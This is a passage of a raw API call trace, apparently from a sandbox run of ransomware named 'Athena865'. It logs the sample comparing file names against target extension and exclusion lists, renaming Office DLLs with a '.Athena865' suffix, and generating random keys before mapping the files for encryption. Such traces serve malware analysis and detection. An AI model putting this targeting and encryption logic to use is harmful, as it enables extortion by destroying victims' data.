(lpString1="DLL", lpString2="edb") returned -1 [0094.238] lstrlenW (lpString="epim") returned 4 [0094.238] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0094.238] lstrlenW (lpString="fcd") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0094.238] lstrlenW (lpString="fdb") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0094.238] lstrlenW (lpString="fic") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0094.238] lstrlenW (lpString="flexolibrary") returned 12 [0094.238] lstrlenW (lpString="fm5") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0094.238] lstrlenW (lpString="fmp") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0094.238] lstrlenW (lpString="fmp12") returned 5 [0094.238] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0094.238] lstrlenW (lpString="fmpsl") returned 5 [0094.238] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0094.238] lstrlenW (lpString="fol") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0094.238] lstrlenW (lpString="fp3") returned 3 [0094.238] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0094.238] lstrlenW (lpString="fp4") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0094.239] lstrlenW (lpString="fp5") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0094.239] lstrlenW (lpString="fp7") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0094.239] lstrlenW (lpString="fpt") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0094.239] lstrlenW (lpString="frm") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0094.239] lstrlenW (lpString="gdb") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.239] lstrlenW (lpString="gdb") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0094.239] lstrlenW (lpString="grdb") returned 4 [0094.239] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0094.239] lstrlenW (lpString="gwi") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0094.239] lstrlenW (lpString="hdb") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0094.239] lstrlenW (lpString="his") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0094.239] lstrlenW (lpString="ib") returned 2 [0094.239] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0094.239] lstrlenW (lpString="idb") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0094.239] lstrlenW (lpString="ihx") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0094.239] lstrlenW (lpString="itdb") returned 4 [0094.239] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0094.239] lstrlenW (lpString="itw") returned 3 [0094.239] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0094.239] lstrlenW (lpString="jet") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0094.240] lstrlenW (lpString="jtx") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0094.240] lstrlenW (lpString="kdb") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0094.240] lstrlenW (lpString="kexi") returned 4 [0094.240] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0094.240] lstrlenW (lpString="kexic") returned 5 [0094.240] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0094.240] lstrlenW (lpString="kexis") returned 5 [0094.240] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0094.240] lstrlenW (lpString="lgc") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0094.240] lstrlenW (lpString="lwx") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0094.240] lstrlenW (lpString="maf") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0094.240] lstrlenW (lpString="maq") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0094.240] lstrlenW (lpString="mar") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0094.240] lstrlenW (lpString="marshal") returned 7 [0094.240] lstrcmpiW (lpString1="SDC.DLL", lpString2="marshal") returned 1 [0094.240] lstrlenW (lpString="mas") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0094.240] lstrlenW (lpString="mav") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0094.240] lstrlenW (lpString="maw") returned 3 [0094.240] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0094.240] lstrlenW (lpString="mdbhtml") returned 7 [0094.240] lstrcmpiW (lpString1="SDC.DLL", lpString2="mdbhtml") returned 1 [0094.240] lstrlenW (lpString="mdn") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0094.241] lstrlenW (lpString="mdt") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0094.241] lstrlenW (lpString="mfd") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0094.241] lstrlenW (lpString="mpd") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0094.241] lstrlenW (lpString="mrg") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0094.241] lstrlenW (lpString="mud") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0094.241] lstrlenW (lpString="mwb") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0094.241] lstrlenW (lpString="myd") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0094.241] lstrlenW (lpString="ndf") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0094.241] lstrlenW (lpString="nnt") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0094.241] lstrlenW (lpString="nrmlib") returned 6 [0094.241] lstrcmpiW (lpString1="DC.DLL", lpString2="nrmlib") returned -1 [0094.241] lstrlenW (lpString="ns2") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0094.241] lstrlenW (lpString="ns3") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0094.241] lstrlenW (lpString="ns4") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0094.241] lstrlenW (lpString="nsf") returned 3 [0094.241] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0094.241] lstrlenW (lpString="nv") returned 2 [0094.241] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0094.242] lstrlenW (lpString="nv2") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0094.242] lstrlenW (lpString="nwdb") returned 4 [0094.242] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0094.242] lstrlenW (lpString="nyf") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0094.242] lstrlenW (lpString="odb") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.242] lstrlenW (lpString="odb") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0094.242] lstrlenW (lpString="oqy") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0094.242] lstrlenW (lpString="ora") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0094.242] lstrlenW (lpString="orx") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0094.242] lstrlenW (lpString="owc") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0094.242] lstrlenW (lpString="p96") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0094.242] lstrlenW (lpString="p97") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0094.242] lstrlenW (lpString="pan") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0094.242] lstrlenW (lpString="pdb") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0094.242] lstrlenW (lpString="pdm") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0094.242] lstrlenW (lpString="pnz") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0094.242] lstrlenW (lpString="qry") returned 3 [0094.242] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0094.243] lstrlenW (lpString="qvd") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0094.243] lstrlenW (lpString="rbf") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0094.243] lstrlenW (lpString="rctd") returned 4 [0094.243] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0094.243] lstrlenW (lpString="rod") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0094.243] lstrlenW (lpString="rodx") returned 4 [0094.243] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0094.243] lstrlenW (lpString="rpd") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0094.243] lstrlenW (lpString="rsd") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0094.243] lstrlenW (lpString="sas7bdat") returned 8 [0094.243] lstrcmpiW (lpString1="WSDC.DLL", lpString2="sas7bdat") returned 1 [0094.243] lstrlenW (lpString="sbf") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0094.243] lstrlenW (lpString="scx") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0094.243] lstrlenW (lpString="sdb") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0094.243] lstrlenW (lpString="sdc") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0094.243] lstrlenW (lpString="sdf") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0094.243] lstrlenW (lpString="sis") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0094.243] lstrlenW (lpString="spq") returned 3 [0094.243] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0094.243] lstrlenW (lpString="te") returned 2 [0094.243] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0094.244] lstrlenW (lpString="teacher") returned 7 [0094.244] lstrcmpiW (lpString1="SDC.DLL", lpString2="teacher") returned -1 [0094.244] lstrlenW (lpString="tmd") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0094.244] lstrlenW (lpString="tps") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0094.244] lstrlenW (lpString="trc") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.244] lstrlenW (lpString="trc") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0094.244] lstrlenW (lpString="trm") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0094.244] lstrlenW (lpString="udb") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0094.244] lstrlenW (lpString="udl") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0094.244] lstrlenW (lpString="usr") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0094.244] lstrlenW (lpString="v12") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0094.244] lstrlenW (lpString="vis") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0094.244] lstrlenW (lpString="vpd") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0094.244] lstrlenW (lpString="vvv") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.244] lstrlenW (lpString="wdb") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.244] lstrlenW (lpString="wmdb") returned 4 [0094.244] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.244] lstrlenW (lpString="wrk") returned 3 [0094.244] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.244] lstrlenW (lpString="xdb") returned 3 [0094.245] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.245] lstrlenW (lpString="xld") returned 3 [0094.245] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.245] lstrlenW (lpString="xmlff") returned 5 [0094.245] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0094.245] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865") returned 70 [0094.245] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ieawsdc.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ieawsdc.dll.athena865"), dwFlags=0x1) returned 1 [0094.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\ieawsdc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.246] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=196448) returned 1 [0094.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.247] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.247] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.247] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.248] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30260, lpName=0x0) returned 0x17c [0094.249] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30260) returned 0x170000 [0094.260] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.260] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.260] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.261] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.263] CloseHandle (hObject=0x17c) returned 1 [0094.263] CloseHandle (hObject=0x154) returned 1 [0094.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.264] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930ea300, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadda9080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x930ea300, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x62978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="..") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="windows") returned -1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="bootmgr") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="temp") returned -1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="pagefile.sys") returned -1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="boot") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="ids.txt") returned 1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="ntuser.dat") returned -1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="perflogs") returned -1 [0094.264] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2="MSBuild") returned -1 [0094.264] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0094.264] lstrcpyW (in: lpString1=0x241e8aa, lpString2="INLAUNCH.DLL" | out: lpString1="INLAUNCH.DLL") returned="INLAUNCH.DLL" [0094.264] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0094.264] lstrlenW (lpString="Athena865") returned 9 [0094.264] lstrcmpiW (lpString1="AUNCH.DLL", lpString2="Athena865") returned 1 [0094.265] lstrlenW (lpString=".dll") returned 4 [0094.265] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".dll") returned 1 [0094.265] lstrlenW (lpString=".lnk") returned 4 [0094.265] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".lnk") returned 1 [0094.265] lstrlenW (lpString=".ini") returned 4 [0094.265] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".ini") returned 1 [0094.265] lstrlenW (lpString=".sys") returned 4 [0094.265] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".sys") returned 1 [0094.265] lstrlenW (lpString="INLAUNCH.DLL") returned 12 [0094.265] lstrlenW (lpString="bak") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.265] lstrlenW (lpString="ba_") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.265] lstrlenW (lpString="dbb") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.265] lstrlenW (lpString="vmdk") returned 4 [0094.265] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.265] lstrlenW (lpString="rar") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.265] lstrlenW (lpString="zip") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.265] lstrlenW (lpString="tgz") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.265] lstrlenW (lpString="vbox") returned 4 [0094.265] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.265] lstrlenW (lpString="vdi") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.265] lstrlenW (lpString="vhd") returned 3 [0094.265] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.265] lstrlenW (lpString="vhdx") returned 4 [0094.265] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.265] lstrlenW (lpString="avhd") returned 4 [0094.265] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.266] lstrlenW (lpString="db") returned 2 [0094.266] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.266] lstrlenW (lpString="db2") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.266] lstrlenW (lpString="db3") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.266] lstrlenW (lpString="dbf") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.266] lstrlenW (lpString="mdf") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.266] lstrlenW (lpString="mdb") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.266] lstrlenW (lpString="sql") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.266] lstrlenW (lpString="sqlite") returned 6 [0094.266] lstrcmpiW (lpString1="CH.DLL", lpString2="sqlite") returned -1 [0094.266] lstrlenW (lpString="sqlite3") returned 7 [0094.266] lstrcmpiW (lpString1="NCH.DLL", lpString2="sqlite3") returned -1 [0094.266] lstrlenW (lpString="sqlitedb") returned 8 [0094.266] lstrcmpiW (lpString1="UNCH.DLL", lpString2="sqlitedb") returned 1 [0094.266] lstrlenW (lpString="xml") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.266] lstrlenW (lpString="$er") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.266] lstrlenW (lpString="4dd") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.266] lstrlenW (lpString="4dl") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.266] lstrlenW (lpString="^^^") returned 3 [0094.266] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.266] lstrlenW (lpString="abs") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.267] lstrlenW (lpString="abx") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.267] lstrlenW (lpString="accdb") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0094.267] lstrlenW (lpString="accdc") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0094.267] lstrlenW (lpString="accde") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0094.267] lstrlenW (lpString="accdr") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0094.267] lstrlenW (lpString="accdt") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0094.267] lstrlenW (lpString="accdw") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0094.267] lstrlenW (lpString="accft") returned 5 [0094.267] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0094.267] lstrlenW (lpString="adb") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.267] lstrlenW (lpString="adb") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.267] lstrlenW (lpString="ade") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.267] lstrlenW (lpString="adf") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.267] lstrlenW (lpString="adn") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.267] lstrlenW (lpString="adp") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.267] lstrlenW (lpString="alf") returned 3 [0094.267] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.268] lstrlenW (lpString="ask") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.268] lstrlenW (lpString="btr") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.268] lstrlenW (lpString="cat") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.268] lstrlenW (lpString="cdb") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.268] lstrlenW (lpString="ckp") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.268] lstrlenW (lpString="cma") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.268] lstrlenW (lpString="cpd") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.268] lstrlenW (lpString="dacpac") returned 6 [0094.268] lstrcmpiW (lpString1="CH.DLL", lpString2="dacpac") returned -1 [0094.268] lstrlenW (lpString="dad") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.268] lstrlenW (lpString="dadiagrams") returned 10 [0094.268] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="dadiagrams") returned 1 [0094.268] lstrlenW (lpString="daschema") returned 8 [0094.268] lstrcmpiW (lpString1="UNCH.DLL", lpString2="daschema") returned 1 [0094.268] lstrlenW (lpString="db-journal") returned 10 [0094.268] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="db-journal") returned 1 [0094.268] lstrlenW (lpString="db-shm") returned 6 [0094.268] lstrcmpiW (lpString1="CH.DLL", lpString2="db-shm") returned -1 [0094.268] lstrlenW (lpString="db-wal") returned 6 [0094.268] lstrcmpiW (lpString1="CH.DLL", lpString2="db-wal") returned -1 [0094.268] lstrlenW (lpString="dbc") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.268] lstrlenW (lpString="dbs") returned 3 [0094.268] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.269] lstrlenW (lpString="dbt") returned 3 [0094.269] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.269] lstrlenW (lpString="dbv") returned 3 [0094.269] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.269] lstrlenW (lpString="dbx") returned 3 [0094.269] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.269] lstrlenW (lpString="dcb") returned 3 [0094.269] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.269] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\INLAUNCH.DLL.Athena865") returned 71 [0094.269] MoveFileExW (lpExistingFileName="C:\\Program Files 